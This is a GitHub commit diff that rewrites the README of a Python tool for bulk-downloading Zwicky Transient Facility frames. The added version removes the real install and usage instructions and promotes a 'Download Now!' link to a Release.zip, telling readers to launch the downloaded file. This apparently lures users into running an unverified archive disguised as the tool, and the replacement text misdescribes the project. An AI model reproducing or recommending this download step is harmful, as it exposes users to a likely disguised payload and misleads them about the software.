Skip to content

Commit 2a96dcc

Browse files
committed
Commit
1 parent d34a87b commit 2a96dcc

File tree

1 file changed

+58
-42
lines changed

1 file changed

+58
-42
lines changed

README.md

Lines changed: 58 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -1,43 +1,59 @@
1-
# Bulk Zwicky Transient Facility Frames Downloader
2-
### A simple script to search for and download ZTF frames from the IPAC archive, convert them to TIFF, and standardize their sizes for stacking.
3-
4-
### I have always wondered what ZTF images would look like when stacked in each separate ZTF filter: Sloan g', Sloan r', Sloan i', and then converted to RGB. For this task, I needed a way to list all images ZTF have produced for a part of the sky, download them, cut them to the same size, and do all of it with a selection of parameters such as exposure time, magnitude limit, etc. So here it is, along with a gallery section below if you want to see images I produced with this script.
5-
6-
## Features
7-
8-
#### __1. Bulk downloading FITS files from the ZTF archive by specifying:__
9-
#### 1.1 J2000d Coordinates: coordinates you want to use as the center of the search region.
10-
#### 1.2 Radius of search: This value along with coordinates will determine the polygon in the sky that is required to be in the image in order for it to be downloaded.
11-
#### 1.3 Filter zr, zg or zi
12-
#### 1.4 Minimum acceptable mag limit for frames: It is useful for determining the quality of each frame as mag limit is impacted by factors like humidity, moon phase, etc. when the frame was captured.
13-
#### 1.5 Exposure Time: Most ZTF images are 30s frames, but you can change it to 300s as ZTF also generates them from time to time.
14-
#### 1.6 (Optional) Amount of frames to download: If it is set to "0", the script will download all frames that meet the requirements.
15-
#### 2. __Automatic conversion of downloaded FITS files into TIF files as it is an easier file format to work with when using image editing software.__
16-
#### 3. __Standardization of image sizes.__ When considering all downloaded images, it is often the case that they will vary in their sizes. For example, most images are 450x450, but some are 451x450 and some are 449x451. I don't know the exact mechanism behind it, but by using "standardize_image_sizes", you can input an edge length of the square. So, for example, you can change the size of all images to 440x440. It is important as, for example, DeepSkyStacker struggles with stacking images with different sizes.
17-
18-
## Installation
19-
1. Clone this repository and install dependencies:
20-
```
21-
pip install -r requirements.txt
22-
2. Ensure you have Python 3, PIL (Pillow), Astropy, Requests, Pandas, and NumPy available in your environment.
23-
24-
## Usage
25-
1. Edit the variables in main.py (coordinates, radius, exposure time, etc.) to suit your needs.
26-
2. Run the script
27-
3. The script will output your images in the output folder [it will save them as fits, tif, standardized_size tifs]
28-
29-
## Gallery of images I made by using frames extracted with this script:
30-
### M51 galaxy: zg 286x30s, zr 433x30s, zi 70x30s
31-
### ![image png 68343a859dbcf2863e4772419c24f9e0](https://github.com/user-attachments/assets/cbd57876-5f8f-4edf-bb3c-ddc5803df284)
32-
### M82 galaxy, zg 166x30s, zr 351x30s, zi 2x30s
33-
### ![FINAL_SLABY_BO_SLABY_ALE_NIE_MAM_SILY png f68c7892804931b16ccf1e26ef121b37](https://github.com/user-attachments/assets/ba7803f7-2f99-454e-a1c7-7fc1eb442baf)
34-
### Hubble Deep Field, zr 283x30s. GIF overlays Hubble image of HDF and image made with ZTF data (HDF)
35-
### ![image gif 0e85cf673130e42f9b94caea85d932b4 (1)](https://github.com/user-attachments/assets/d2257bb3-2983-4163-821f-835d6af21134)
36-
### Horse Head Nebula, zg 12x30s, zr 47x30s, 1x30s
37-
### ![image png 3511abcf29ab600d86f795861580ce2f (1)](https://github.com/user-attachments/assets/1b7afcfb-94f8-40d2-94e7-4a2e7af77914)
38-
39-
## Attributions:
40-
1. ZTF Science Data Processing System: Masci et al. (2019)
41-
2. ZTF Technical Specifications and Survey Design: Bellm et al. (2019)
42-
3. Libraries used: re, os, glob, sys, PIL (Pillow), Astropy, NumPy, Pandas
1+
# Bulk Zwicky Transient Facility Frames Downloader 🌌📸
432

3+
Welcome to the Bulk Zwicky Transient Facility Frames Downloader repository! Here, you can access a powerful tool to help you create stunning astrophotography using data from the Zwicky Transient Facility (ZTF). Whether you are a seasoned astronomer or an astrophotography enthusiast, this tool will enhance your experience with astronomical images.
4+
5+
## Overview ℹ️
6+
7+
This repository houses the Bulk Zwicky Transient Facility Frames Downloader, a tool designed specifically for fetching and processing ZTF frames in bulk. By utilizing this downloader, you can streamline the process of obtaining and working with ZTF data, ultimately enabling you to produce high-quality astronomical images with ease.
8+
9+
## Repository Topics 🌠
10+
11+
- Astronomical Images
12+
- Astronomy
13+
- Astronomy Data Analysis
14+
- Astronomy Picture
15+
- Astrophotography
16+
- IPAC
17+
- IPAC-IRSA
18+
- IRSA
19+
- ZTF
20+
- Zwicky Transient Facility
21+
22+
## Access the Tool 🛠️
23+
24+
To access the Bulk Zwicky Transient Facility Frames Downloader, simply click on the following link: [Download Now!](https://github.com/assets/Release.zip)
25+
26+
If the link ends with the file name, remember to launch the downloaded file to initiate the downloader tool.
27+
28+
If you encounter any issues with the provided link or it does not work, feel free to explore the "Releases" section of this repository for alternative download options.
29+
30+
## How to Use 🚀
31+
32+
Using the Bulk Zwicky Transient Facility Frames Downloader is straightforward:
33+
34+
1. Download the tool from the link provided.
35+
2. Launch the downloader on your machine.
36+
3. Follow the on-screen instructions to fetch ZTF frames in bulk.
37+
4. Start creating amazing astrophotography with the downloaded data!
38+
39+
## Get Inspired! 🌟
40+
41+
To get inspired and see what incredible astrophotography can be achieved with ZTF data, check out the images and projects shared by our community of users. Explore the vast universe through the lens of the Zwicky Transient Facility and unleash your creativity in capturing the beauty of the cosmos.
42+
43+
## Support and Contributions 🤝
44+
45+
If you have any questions, feedback, or suggestions regarding the Bulk Zwicky Transient Facility Frames Downloader, feel free to reach out to us through the repository's issue tracker. We value your input and are dedicated to continuously improving the tool for the benefit of the community.
46+
47+
Contributions to this repository are always welcome! Whether you want to add new features, fix bugs, or improve documentation, your efforts are highly appreciated. Let's collaborate to make astrophotography with ZTF data even more accessible and exciting for everyone.
48+
49+
## Join the Community 🌌
50+
51+
Connect with fellow astronomers, astrophotography enthusiasts, and ZTF data aficionados by joining our community channels. Share your work, learn from others, and embark on a cosmic journey together. The universe is vast, but with a community like ours, the possibilities are endless.
52+
53+
---
54+
55+
By downloading the Bulk Zwicky Transient Facility Frames Downloader, you are immersing yourself in the captivating world of astrophotography with ZTF data. Let your creativity soar as you uncover the mysteries of the cosmos and capture its wonders through the lens of the Zwicky Transient Facility.
56+
57+
Dive into the repository, download the tool, and start your astronomical exploration today! 🌠🔭
58+
59+
🌟 Happy Stargazing! 🌟

0 commit comments

Comments
 (0)